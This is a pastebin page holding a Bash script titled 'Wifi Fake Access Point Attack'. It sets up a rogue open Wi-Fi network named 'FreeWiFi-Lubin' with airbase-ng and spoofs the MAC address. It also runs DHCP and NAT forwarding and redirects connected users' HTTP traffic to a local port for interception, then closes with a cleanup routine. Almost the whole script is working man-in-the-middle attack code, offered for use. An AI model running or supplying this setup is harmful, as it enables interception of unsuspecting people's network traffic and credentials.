Facebook
From pvls, 9 Years ago, written in Bash.
Embed
Download Paste or View Raw
Hits: 796
  1. #!/bin/bash
  2.  
  3. echo
  4. echo "Wifi Fake Access Point Attack 0.1. Pvls"
  5. echo "--------------------------------------"
  6.  
  7. xterm -geometry 80x15+1+250 -T "syslog" -e tail -f /var/log/syslog &
  8. sleep 2
  9.  
  10.  
  11. echo "Set wlan0 down"
  12. echo "--------------"
  13. ifconfig wlan0 down
  14. echo
  15. macchanger -a wlan0
  16. echo
  17. echo "Set wlan0 to monitor mode mon0"
  18. echo "------------------------------"
  19. iwconfig wlan0 mode monitor
  20.  
  21. echo "Raise the wlan0!"
  22. echo "----------------"
  23. ifconfig wlan0 up
  24. iwconfig
  25. #airmon-ng start wlan0
  26. #creating AP point with airbase-ng - crucial part
  27.  
  28. #airmon-ng check kill
  29. #sleep 1
  30. echo "Airbase - creating Free Wifi [FreeWiFi-Lubin]"
  31. echo "---------------------------------------------"
  32. #airmon-ng check kill
  33. xterm -geometry 80x15+1+0 -T "Airbase" -e airbase-ng --essid FreeWiFi-Lubin -c 5 -v wlan0 &
  34. sleep 3
  35.  
  36.  
  37. echo "Checking the gateway IP"
  38. echo "-----------------------"
  39.  
  40. route -n
  41.  
  42. echo "Raising at0!"
  43. echo "-----------"
  44. ifconfig at0 up
  45. ifconfig at0 192.168.1.1 netmask 255.255.255.0
  46. ifconfig at0 mtu 1400
  47. sleep 2
  48. echo "Set iptables for at0 at 192.168.1.1"
  49. echo "-----------------------------------"
  50. route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
  51. echo 1 > /proc/sys/net/ipv4/ip_forward
  52. sleep 2
  53.  
  54. #iptables --flush
  55. #iptables --table nat --flush
  56. #iptables --delete-chain
  57. #iptables --table nat --delete-chain
  58. #iptables -t nat -A PREROUTING -p udp -j DNAT --to 192.168.0.1
  59. #iptables -P FORWARD ACCEPT
  60. #iptables --append FORWARD --in-interface at0 -j ACCEPT
  61. #iptables --table nat --append POSTROUTING -o eth0 -j MASQUERADE
  62. #iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 1000
  63.  
  64. iptables --flush
  65. iptables --table nat --flush
  66. iptables --delete-chain
  67. iptables --table nat --delete-chain
  68. iptables -t nat -A PREROUTING -p udp -j DNAT --to 192.168.0.1
  69. iptables -P FORWARD ACCEPT
  70. iptables --append FORWARD --in-interface at0 -j ACCEPT
  71. iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
  72. iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
  73.  
  74.  
  75. sleep 3
  76. echo "Launch DHCP server"
  77. echo "------------------"
  78. #touch /var/lib/dhcp/dhcpd.leases
  79. #ln -s /var/run/dhcp-server/dhcpd.pid /var/run/dhcpd.pid
  80. dhcpd -cf /etc/dhcp/dhcpd.conf at0
  81. #/etc/init.d/isc-dhcp-server start
  82.  
  83. #killall -KILL apparmor
  84. #mkdir -p /var/run/dhcpd && chown dhcpd:dhcpd /var/run/dhcpd
  85. #dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcpd/dhcpd.pid at0
  86. #/etc/init.d/isc-dhcp-server start
  87.  
  88. sleep 2
  89.  
  90. route -n
  91.  
  92. #Cleaning up
  93. read END
  94.  
  95. if [ $END = "q" ] ; then
  96. echo
  97. echo "Closing script - cleaning..."
  98. echo "----------------------------"
  99.  
  100. airmon-ng stop mon0
  101. airmon-ng stop wlan0
  102. ifconfig at0 down
  103. #brctl delif br0 eth0
  104. #brctl delbr br0
  105. #ifconfig br0 down
  106. echo 0 > /proc/sys/net/ipv4/ip_forward
  107. iptables --flush
  108. iptables --table nat --flush
  109. iptables --delete-chain
  110. iptables --table nat --delete-chain
  111.  
  112. #rm /var/lib/dhcp/*
  113. echo > '/var/lib/dhcp/dhcpd.leases'
  114. /etc/init.d/isc-dhcp-server stop
  115. #killall -KILL dhcpd
  116. echo
  117. echo "Good bye."
  118. echo "---------"
  119. exit
  120. fi